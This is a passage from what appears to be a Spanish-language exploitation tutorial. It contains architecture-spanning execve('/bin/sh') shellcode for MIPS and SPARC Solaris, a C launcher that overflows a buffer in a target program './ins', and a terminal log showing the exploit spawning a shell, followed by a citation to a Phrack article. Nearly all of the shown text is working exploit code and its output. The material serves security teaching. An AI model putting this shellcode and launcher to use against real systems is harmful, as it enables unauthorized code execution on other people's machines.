$t7, $zero */ "\x03\xef\xf8\x21" /* addu $ra, $ra, $t7 */ /* a0 = (char *) pathname */ "\x23\xe4\xff\xf8" /* addi $a0, $ra, -8 */ /* arreglar el byte tonto 0x42 en la ruta al shell */ "\x8f\xed\xff\xfc" /* lw $t5, -4($ra) */ "\x25\xad\xff\xbe" /* addiu $t5, $t5, -66 */ "\xaf\xed\xff\xfc" /* sw $t5, -4($ra) */ /* a1 = (char **) argv */ "\xaf\xa4\xff\xf8" /* sw $a0, -8($sp) */ "\x27\xa5\xff\xf8" /* addiu $a1, $sp, -8 */ "\x24\x02\x04\x23" /* li $v0, 1059 (SYS_execve) */ "\x01\x01\x01\x0c" /* syscall */ "\x2f\x62\x69\x6e" /* .ascii "/bin" */ "\x2f\x73\x68\x42" /* .ascii "/sh", .byte 0xdummy */ /* Sparc Solaris execve() por un autor desconocido */ "\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */ "\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */ "\x92\x03\xa0\x08" /* add %sp, 8, %o1 */ "\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */ "\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */ "\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */ "\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */ "\x82\x10\x20\x3b" /* mov $0x3b, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ ; int main(int argc, char *argv[]) { char buffer[DEFAULT_LEN]; char *args[] = {"./ins", buffer, NULL}; unsigned int len; int i = 0; if (argc < 2) exit(1); if ((len = atoi(argv[1])) > 1064) exit(1); memset(buffer, '/', len); while (i < strlen(sc)) { buffer[len++] = sc[i++]; } execve(*args, args, NULL); fprintf(stderr, "\nError: execve(): %s\n", strerror(errno)); return 0; // Esto no deberia ocurrir } [-----] blackngel@mac:~$ ./exins 512 PTRS = [ 0xbfffe820 ] INSTRING = [ 0xbfffe81c ] blackngel@mac:~$ ./exins 1028 PTRS = [ 0xbfffe620 ] INSTRING = [ 0xbfffe61c ] sh-3.2$ id uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout),24(cdrom), 25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),104(scanner), 108(lpadmin),110(admin),115(netdev),117(powerdev),1000(blackngel),1001(compiler) sh-3.2$ exit exit blackngel@mac:~$ Tu mismo puedes probar si el exploit se ejecuta del modo correcto en el resto de arquitecturas. Asi puede que comience a interesarte mucho mas el tema... [1] Architecture Spanning Shellcode by eugene http://www.phrack.org/issues.html?issue=57&id=17#article Un abrazo! balckngel *EOF*